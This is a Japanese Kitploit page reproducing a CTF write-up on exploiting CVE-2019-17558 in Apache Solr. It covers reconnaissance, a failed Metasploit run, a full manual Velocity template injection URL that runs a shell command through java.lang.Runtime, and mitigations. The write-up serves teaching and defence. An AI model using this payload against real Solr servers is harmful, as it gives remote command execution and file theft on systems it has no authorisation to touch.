Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
cve-2019-17558-apache-solr-rce — Apache Solr における CVE-2019-17558 の悪用を解説した CTF write-up。偵察、Metasploit の制限、手動による Velocity テンプレートインジェクション、フラグの取得、および対策を扱っています。 | Kitploit
ツール/GitHubGitHub/rogerzeferino/cve-2019-17558-apache-solr-rce
偵察脆弱性分析エクスプロイトウェブアプリケーション悪用CTFペネトレーションテスト学習と教育
GitHubrogerzeferino/cve-2019-17558-apache-solr-rce

cve-2019-17558-apache-solr-rce

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Apache Solr における CVE-2019-17558 の悪用を解説した CTF write-up。偵察、Metasploit の制限、手動による Velocity テンプレートインジェクション、フラグの取得、および対策を扱っています。

リポジトリを見る
131ヶ月前未レビュー

Apache Solr RCE (CVE-2019-17558) - CTF 攻略記事

Apache Solr の Velocity Template Injection 脆弱性を実際に調査し、自動化ツール(Metasploit)の失敗から手動によるエクスプロイト成功へと発展させる流れを解説します。

この攻略記事は、ツールの失敗の診断と手動エクスプロイトへの切り替え(ピボット)に焦点を当て、演習全体の思考プロセスを記録したものです。

シナリオ

項目説明
ターゲットポート8983でApache Solrを実行しているLinuxサーバー
目的機密ファイル(/home/favorite_book.txt)の内容を読み取る
脆弱性CVE-2019-17558 (Velocity Response Writer を介した RCE)

1. 偵察

初期フェーズでは、ターゲットホスト上でアクティブなサービスを特定しました。

root@kitploit:~
nmap -sV -p- <TARGET_IP>

結果。

  • 8983/tcp ポートが開放されている。
  • サービスは Apache Solr と識別された。
  • Webパネルを介してコア novacollection を特定。

2. 脆弱性の分析

管理パネルにアクセスすると、Solr のバージョンが Velocity Template Injection に対して脆弱であることが確認されました。

この脆弱性は、攻撃者が params.resource.loader.enabled 設定を true に変更できる場合に発生し、カスタム Velocity テンプレートの使用が可能になり、そこからサーバー上で任意の Java コードを実行できます。

3. 自動化されたエクスプロイト (Metasploit)

最初に exploit/multi/http/solr_velocity_rce モジュールを使用しました。

このエクスプロイトは Solr の設定変更に成功しました。

root@kitploit:~
[+] params.resource.loader.enabled is true for core 'novacollection'

しかし、ペイロード注入の最終段階は Ruby 実行エラーで失敗しました。

root@kitploit:~
NoMethodError: undefined method 'body' for nil:NilClass

これは、環境が脆弱ですでに準備済みであるにもかかわらず、ツールがサーバーの応答を処理して攻撃を完了できなかったことを示しています。ターゲットが安全だったのではなく、モジュールのデリバリ方法を調整する必要があっただけです。

4. 手動によるエクスプロイト

Metasploit によって Velocity Writer がすでに有効化されていたため、スクリプトのエラーを回避し、HTTP GET リクエストを介して手動で注入を実行しました。ターゲットファイルを読み取るコマンドを実行するために、java.lang.Runtime をインスタンス化する Velocity テンプレートが構築されました。

root@kitploit:~
http://<TARGET_IP>:8983/solr/novacollection/select?q=1&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27cat+/home/favorite_book.txt%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

サーバー上で実際に実行されたコマンド。

root@kitploit:~
cat /home/favorite_book.txt

5. 結果

注入は成功し、ファイルの内容が HTTP レスポンスボディに直接返され、ブラウザでレンダリングされてフラグを取得できました。

学び

  • ツールの限界。自動化されたスキャナやエクスプロイトは、環境固有の特性やモジュール自体のバグによって失敗することがあります。
  • 基礎知識。CVE-2019-17558 の仕組みを理解していたからこそ、ツールの失敗から手動による攻撃の成功へと切り替えることができました。
  • 粘り強さ。NoMethodError エラーはターゲットが安全であることを意味するのではなく、デリバリ方法の調整が必要だっただけです。

対策

  • Apache Solr を修正済みバージョン(8.4 以降)に更新する。
  • params.resource.loader.enabled が無効のままであることを確認する。
  • ポート8983へのアクセスを信頼できるネットワークのみに制限し、Solr をインターネットに直接公開しない。
  • wt=velocity パラメータを使用した select エンドポイントへのリクエストを監視する。これは SIEM での検出シグネチャとして役立ちます。

参考

  • CVE-2019-17558 (NVD および Apache Solr 公式ドキュメント)。

免責事項

このリポジトリは、管理された環境(CTF)における学習の記録と教育を目的として作成されました。明示的な許可なくシステムに対してこれらの技術を使用しないでください。

ツールをダウンロード